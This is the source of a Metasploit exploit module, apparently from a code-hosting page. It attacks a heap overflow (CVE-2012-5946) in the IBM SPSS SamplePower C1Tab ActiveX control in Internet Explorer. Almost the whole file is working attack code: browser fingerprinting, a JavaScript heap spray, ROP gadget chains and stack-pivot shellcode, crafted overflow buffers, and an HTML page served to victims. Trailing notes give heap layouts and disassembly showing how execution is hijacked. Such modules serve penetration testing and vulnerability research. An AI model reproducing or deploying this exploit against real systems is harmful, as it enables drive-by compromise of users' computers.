477 lines
17 KiB
Ruby
477 lines
17 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
include Msf::Exploit::RopDb
|
|
#include Msf::Exploit::Remote::BrowserAutopwn
|
|
#
|
|
#autopwn_info({
|
|
# :ua_name => HttpClients::IE,
|
|
# :ua_minver => "6.0",
|
|
# :ua_maxver => "8.0",
|
|
# :javascript => true,
|
|
# :os_name => OperatingSystems::Match::WINDOWS,
|
|
# :rank => NormalRanking,
|
|
# :classid => "{24E04EBF-014D-471F-930E-7654B1193BA9}",
|
|
# :method => "TabCaption"
|
|
#})
|
|
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "IBM SPSS SamplePower C1Tab ActiveX Heap Overflow",
|
|
'Description' => %q{
|
|
This module exploits a heap based buffer overflow in the C1Tab ActiveX control,
|
|
while handling the TabCaption property. The affected control can be found in the
|
|
c1sizer.ocx component as included with IBM SPSS SamplePower 3.0. This module has
|
|
been tested successfully on IE 6, 7 and 8 on Windows XP SP3 and IE 8 on Windows 7
|
|
SP1.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Alexander Gavrun', # Vulnerability discovery
|
|
'juan vazquez' # Metasploit
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2012-5946' ],
|
|
[ 'OSVDB', '92845' ],
|
|
[ 'BID', '59559' ],
|
|
[ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21635476' ],
|
|
[ 'ZDI', '13-100' ]
|
|
],
|
|
'Payload' =>
|
|
{
|
|
'Space' => 991,
|
|
'BadChars' => "\x00",
|
|
'DisableNops' => true
|
|
},
|
|
'DefaultOptions' =>
|
|
{
|
|
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
# IBM SPSS SamplePower 3.0 / c1sizer.ocx 8.0.20071.39
|
|
[ 'Automatic', {} ],
|
|
[ 'IE 6 on Windows XP SP3',
|
|
{
|
|
'Offset' => '0x5F4',
|
|
'Ret' => 0x0c0c0c08
|
|
}
|
|
],
|
|
[ 'IE 7 on Windows XP SP3',
|
|
{
|
|
'Offset' => '0x5F4',
|
|
'Ret' => 0x0c0c0c08
|
|
}
|
|
],
|
|
[ 'IE 8 on Windows XP SP3',
|
|
{
|
|
'Offset' => '0x5f4',
|
|
'Ret' => 0x0c0c0c0c,
|
|
'Pivot' => 0x7c342643 # xchg eax, esp # pop edi # add byte ptr [eax],al # pop ecx # ret
|
|
}
|
|
],
|
|
[ 'IE 8 on Windows 7',
|
|
{
|
|
'Offset' => '0x5f4',
|
|
'Ret' => 0x0c0c0c0c,
|
|
'Pivot' => 0x7c342643 # xchg eax, esp # pop edi # add byte ptr [eax],al # pop ecx # ret
|
|
}
|
|
]
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => '2013-04-26',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
|
|
])
|
|
|
|
end
|
|
|
|
def get_target(agent)
|
|
#If the user is already specified by the user, we'll just use that
|
|
return target if target.name != 'Automatic'
|
|
|
|
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
|
|
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
|
|
|
|
ie_name = "IE #{ie}"
|
|
|
|
case nt
|
|
when '5.1'
|
|
os_name = 'Windows XP SP3'
|
|
when '6.0'
|
|
os_name = 'Windows Vista'
|
|
when '6.1'
|
|
os_name = 'Windows 7'
|
|
end
|
|
|
|
targets.each do |t|
|
|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
|
|
print_status("Target selected as: #{t.name}")
|
|
return t
|
|
end
|
|
end
|
|
print_status("target not found #{agent}")
|
|
return nil
|
|
end
|
|
|
|
def ie_heap_spray(my_target, p)
|
|
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
|
|
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
|
|
randnop = rand_text_alpha(rand(100) + 1)
|
|
|
|
# Land the payload at 0x0c0c0c0c
|
|
# For IE 6, 7, 8
|
|
js = %Q|
|
|
var heap_obj = new heapLib.ie(0x20000);
|
|
var code = unescape("#{js_code}");
|
|
var #{randnop} = "#{js_nops}";
|
|
var nops = unescape(#{randnop});
|
|
while (nops.length < 0x80000) nops += nops;
|
|
var offset = nops.substring(0, #{my_target['Offset']});
|
|
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
|
|
while (shellcode.length < 0x40000) shellcode += shellcode;
|
|
var block = shellcode.substring(0, (0x80000-6)/2);
|
|
heap_obj.gc();
|
|
for (var i=1; i < 0x300; i++) {
|
|
heap_obj.alloc(block);
|
|
}
|
|
|
|
|
|
|
js = heaplib(js, {:noobfu => true})
|
|
|
|
if datastore['OBFUSCATE']
|
|
js = ::Rex::Exploitation::JSObfu.new(js)
|
|
js.obfuscate(memory_sensitive: true)
|
|
end
|
|
|
|
return js
|
|
end
|
|
|
|
def junk(n=4)
|
|
return rand_text_alpha(n).unpack("V").first
|
|
end
|
|
|
|
def rop_chain
|
|
# gadgets from c1sizer.ocx
|
|
rop_gadgets =
|
|
[
|
|
0x0c0c0c10,
|
|
0x10026984, # ADD ESP,10 # POP EDI # POP ESI # POP EBX # POP EBP # RETN # stackpivot to the controlled stack
|
|
0x100076f1, # pop eax # ret
|
|
0x10029134, # &VirtualAllox
|
|
0x1001b41e, # jmp [eax]
|
|
0x0c0c0c34, # ret address
|
|
0x0c0c0c0c, # lpAddress
|
|
0x00001000, # dwSize
|
|
0x00001000, # flAllocationType
|
|
0x00000040 # flProtect
|
|
].pack("V*")
|
|
|
|
return rop_gadgets
|
|
end
|
|
|
|
def get_payload(t, cli)
|
|
code = payload.encoded
|
|
# No rop. Just return the payload.
|
|
|
|
if (t.name =~ /IE 6/ or t.name =~ /IE 7/)
|
|
fake_memory = [
|
|
0x0c0c0c10,
|
|
0x0c0c0c14
|
|
].pack("V*")
|
|
return fake_memory + code
|
|
end
|
|
|
|
return rop_chain + stack_pivot + code
|
|
end
|
|
|
|
# Objects filling aren't randomized because
|
|
# this combination make exploit more reliable.
|
|
def fake_object(size)
|
|
object = "B" * 8 # metadata
|
|
object << "D" * size # fake object
|
|
return object
|
|
end
|
|
|
|
def stack_pivot
|
|
pivot = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb
|
|
pivot << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit
|
|
pivot << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit
|
|
pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
|
|
return pivot
|
|
end
|
|
|
|
# Check the memory layout documentation at the end of the module
|
|
def overflow_xp
|
|
buf = rand_text_alpha(0x10000)
|
|
# Start to overflow
|
|
buf << fake_object(0x40)
|
|
buf << fake_object(0x30)
|
|
buf << fake_object(0x30)
|
|
buf << fake_object(0x40)
|
|
buf << fake_object(0x10)
|
|
buf << fake_object(0x10)
|
|
buf << fake_object(0x20)
|
|
buf << fake_object(0x10)
|
|
buf << fake_object(0x30)
|
|
buf << "B" * 0x8 # metadata chunk
|
|
buf << "\x0c" * 0x40 # Overflow first 0x40 of the exploited object
|
|
end
|
|
|
|
# Check the memory layout documentation at the end of the module
|
|
def overflow_xp_ie8
|
|
buf = [
|
|
junk, # padding
|
|
0x1001b557, # pop eax # c1sizer.ocx
|
|
0x0c0c0c14, # eax
|
|
0x10028ad8 # xchg eax,esp # c1sizer.ocx # stackpivot to the heap
|
|
].pack("V*")
|
|
buf << rand_text_alpha(0x10000-16)
|
|
# Start to overflow
|
|
buf << "B" * 0x8 # metadata chunk
|
|
buf << "\x0c" * 0x40 # Overflow first 0x40 of the exploited object
|
|
end
|
|
|
|
# Check the memory layout documentation at the end of the module
|
|
def overflow_w7
|
|
buf = [
|
|
junk, # padding
|
|
0x1001b557, # pop eax # c1sizer.ocx
|
|
0x0c0c0c14, # eax
|
|
0x10028ad8 # xchg eax,esp # c1sizer.ocx # stackpivot to the heap
|
|
].pack("V*")
|
|
buf << rand_text_alpha(0x10000-16)
|
|
# Start to oveflow
|
|
buf << fake_object(0x3f8)
|
|
buf << fake_object(0x1a0)
|
|
buf << fake_object(0x1e0)
|
|
buf << fake_object(0x1a0)
|
|
buf << fake_object(0x1e0)
|
|
buf << fake_object(0x1a0)
|
|
buf << "B" * 0x8 # metadata chunk
|
|
buf << "\x0c" * 0x40 # Overflow first 0x40 of the exploited object
|
|
end
|
|
|
|
def get_overflow(t)
|
|
if t.name =~ /Windows 7/
|
|
return overflow_w7
|
|
elsif t.name =~ /Windows XP/ and t.name =~ /IE 8/
|
|
return overflow_xp_ie8
|
|
elsif t.name =~ /Windows XP/
|
|
return overflow_xp
|
|
end
|
|
end
|
|
|
|
# * 15 C1TAB objects are used to defragement the heap, so objects are stored after the vulnerable buffer.
|
|
# * Based on empirical tests, 5th C1TAB comes after the vulnerable buffer.
|
|
# * Using the 7th CITAB is possible to overflow itself and get control before finishing the set of the
|
|
# TabCaption property.
|
|
def trigger_w7
|
|
target = rand_text_alpha(5 + rand(3))
|
|
target2 = rand_text_alpha(5 + rand(3))
|
|
target3 = rand_text_alpha(5 + rand(3))
|
|
target4 = rand_text_alpha(5 + rand(3))
|
|
target5 = rand_text_alpha(5 + rand(3))
|
|
target6 = rand_text_alpha(5 + rand(3))
|
|
target7 = rand_text_alpha(5 + rand(3))
|
|
target8 = rand_text_alpha(5 + rand(3))
|
|
target9 = rand_text_alpha(5 + rand(3))
|
|
target10 = rand_text_alpha(5 + rand(3))
|
|
target11 = rand_text_alpha(5 + rand(3))
|
|
target12 = rand_text_alpha(5 + rand(3))
|
|
target13 = rand_text_alpha(5 + rand(3))
|
|
target14 = rand_text_alpha(5 + rand(3))
|
|
target15 = rand_text_alpha(5 + rand(3))
|
|
|
|
objects = %Q|
|
|
<object id="#{target}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
|
|
<object id="#{target2}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
|
|
<object id="#{target3}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
|
|
<object id="#{target4}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
|
|
<object id="#{target5}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
|
|
<object id="#{target6}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
|
|
<object id="#{target7}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
|
|
<object id="#{target8}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
|
|
<object id="#{target9}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
|
|
<object id="#{target10}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
|
|
<object id="#{target11}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
|
|
<object id="#{target12}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
|
|
<object id="#{target13}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
|
|
<object id="#{target14}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
|
|
<object id="#{target15}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
|
|
|
|
|
return objects, target7
|
|
end
|
|
|
|
# * Based on empirical test, the C1TAB object comes after the vulnerable buffer on memory, so just
|
|
# an object is sufficient to overflow itself and get control execution.
|
|
def trigger_xp
|
|
target = rand_text_alpha(5 + rand(3))
|
|
|
|
objects = %Q|
|
|
<object id="#{target}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
|
|
|
|
|
return objects, target
|
|
end
|
|
|
|
def get_trigger(t)
|
|
if t.name =~ /Windows 7/
|
|
return trigger_w7
|
|
elsif t.name =~ /Windows XP/
|
|
return trigger_xp
|
|
end
|
|
end
|
|
|
|
def load_exploit_html(my_target, cli)
|
|
p = get_payload(my_target, cli)
|
|
js = ie_heap_spray(my_target, p)
|
|
buf = get_overflow(my_target)
|
|
|
|
objects, target_object = get_trigger(my_target)
|
|
|
|
html = %Q|
|
|
<html>
|
|
<head>
|
|
</head>
|
|
<body>
|
|
#{objects}
|
|
<script>
|
|
CollectGarbage();
|
|
#{js}
|
|
#{target_object}.Caption = "";
|
|
#{target_object}.TabCaption(0) = "#{buf}";
|
|
</script>
|
|
</body>
|
|
</html>
|
|
|
|
|
|
|
return html
|
|
end
|
|
|
|
def on_request_uri(cli, request)
|
|
agent = request.headers['User-Agent']
|
|
uri = request.uri
|
|
print_status("Requesting: #{uri}")
|
|
|
|
my_target = get_target(agent)
|
|
# Avoid the attack if no suitable target found
|
|
if my_target.nil?
|
|
print_error("Browser not supported, sending 404: #{agent}")
|
|
send_not_found(cli)
|
|
return
|
|
end
|
|
|
|
html = load_exploit_html(my_target, cli)
|
|
html = html.gsub(/^ {4}/, '')
|
|
print_status("Sending HTML...")
|
|
send_response(cli, html, {'Content-Type'=>'text/html'})
|
|
end
|
|
end
|
|
|
|
|
|
=begin
|
|
|
|
[*] Windows XP / ie6 & ie7 memory layout at oveflow, based on empirical test
|
|
|
|
Heap entries for Segment01 in Heap 01ca0000
|
|
address: psize . size flags state (requested size)
|
|
025c0000: 00000 . 00040 [01] - busy (40)
|
|
025c0040: 00040 . 10008 [01] - busy (10000)
|
|
025d0048: 10008 . 10008 [01] - busy (10000) // Overflowed buffer
|
|
025e0050: 10008 . 00048 [01] - busy (40)
|
|
025e0098: 00048 . 00038 [01] - busy (30)
|
|
025e00d0: 00038 . 00038 [01] - busy (30)
|
|
025e0108: 00038 . 00048 [01] - busy (40)
|
|
025e0150: 00048 . 00018 [01] - busy (10)
|
|
025e0168: 00018 . 00018 [01] - busy (10)
|
|
025e0180: 00018 . 00028 [01] - busy (20)
|
|
025e01a8: 00028 . 00018 [01] - busy (10)
|
|
025e01c0: 00018 . 00010 [00]
|
|
025e01d0: 00010 . 00038 [01] - busy (30)
|
|
025e0208: 00038 . 001e8 [01] - busy (1e0) // Vulnerable object
|
|
025e03f0: 001e8 . 001a8 [01] - busy (1a0)
|
|
|
|
|
|
[*] Windows XP / ie8 memory layout at oveflow, based on empirical test
|
|
|
|
Heap entries for Segment01 in Heap 03350000
|
|
address: psize . size flags state (requested size)
|
|
03840000: 00000 . 00040 [01] - busy (40)
|
|
03840040: 00040 . 10008 [01] - busy (10000)
|
|
03850048: 10008 . 10008 [01] - busy (10000) // Overflowed buffer
|
|
03860050: 10008 . 001e8 [01] - busy (1e0) // Vulnerable object
|
|
03860238: 001e8 . 001a8 [01] - busy (1a0)
|
|
038603e0: 001a8 . 00078 [00]
|
|
03860458: 00078 . 00048 [01] - busy (40)
|
|
038604a0: 00048 . 00048 [01] - busy (40)
|
|
038604e8: 00048 . 00618 [01] - busy (610)
|
|
03860b00: 00618 . 10208 [01] - busy (10200)
|
|
03870d08: 10208 . 032f8 [10]
|
|
03874000: 000cc000 - uncommitted bytes.
|
|
|
|
|
|
[*] windows 7 / ie8 memory layout at oveflow, based on empirical test
|
|
|
|
03240000: 00000 . 00040 [101] - busy (3f)
|
|
03240040: 00040 . 10008 [101] - busy (10000)
|
|
03250048: 10008 . 10008 [101] - busy (10000) # Overwritten buffer
|
|
03260050: 10008 . 00400 [101] - busy (3f8) Internal
|
|
03260450: 00400 . 001a8 [101] - busy (1a0)
|
|
032605f8: 001a8 . 001e8 [101] - busy (1e0)
|
|
032607e0: 001e8 . 001a8 [101] - busy (1a0)
|
|
03260988: 001a8 . 001e8 [101] - busy (1e0)
|
|
03260b70: 001e8 . 001a8 [101] - busy (1a0)
|
|
03260d18: 001a8 . 001e8 [101] - busy (1e0) # Our vulnerable object, target7, seems reliable according to testing
|
|
03260f00: 001e8 . 001a8 [101] - busy (1a0)
|
|
032610a8: 001a8 . 001e8 [101] - busy (1e0)
|
|
03261290: 001e8 . 001a8 [101] - busy (1a0)
|
|
03261438: 001a8 . 001e8 [101] - busy (1e0)
|
|
03261620: 001e8 . 001a8 [101] - busy (1a0)
|
|
032617c8: 001a8 . 001e8 [101] - busy (1e0)
|
|
|
|
[*] Overflow:
|
|
|
|
.text:100146E1 push eax ; lpString2
|
|
.text:100146E2 push CaptionlpBuffer ; lpString1
|
|
.text:100146E8 call ds:lstrcatA ; Heap Overflow when setting a new CaptionString > 0x10000
|
|
|
|
[*] Get Control after overflow:
|
|
|
|
.text:1001A40D call overflow_sub_1001469E ; Overflow happens here
|
|
.text:1001A412 mov ecx, edi ; edi points to the overflowed object, then ecx (this)
|
|
.text:1001A414 call get_control_sub_100189EC ; Get profit from the overflowed object here
|
|
|
|
.text:100189EC get_control_sub_100189EC proc near ; CODE XREF: sub_1001A1A9+B6p
|
|
.text:100189EC ; SetTabCaption_sub_1001A2EC+128p ...
|
|
.text:100189EC
|
|
.text:100189EC var_4 = dword ptr -4
|
|
.text:100189EC
|
|
.text:100189EC push ebp
|
|
.text:100189ED mov ebp, esp
|
|
.text:100189EF push ecx
|
|
.text:100189F0 mov eax, [ecx+10h] # ecx points to controlled memory, so eax can be controlled
|
|
.text:100189F3 and [ebp+var_4], 0
|
|
.text:100189F7 test eax, eax
|
|
.text:100189F9 jz short locret_10018A23
|
|
.text:100189FB mov ecx, [eax] # eax can be controlled and make it point to sprayed mem, ecx can be controlled
|
|
.text:100189FD lea edx, [ebp+var_4]
|
|
.text:10018A00 push edx
|
|
.text:10018A01 push offset unk_1002B628
|
|
.text:10018A06 push eax
|
|
.text:10018A07 call dword ptr [ecx] # woot!
|
|
|
|
=end
|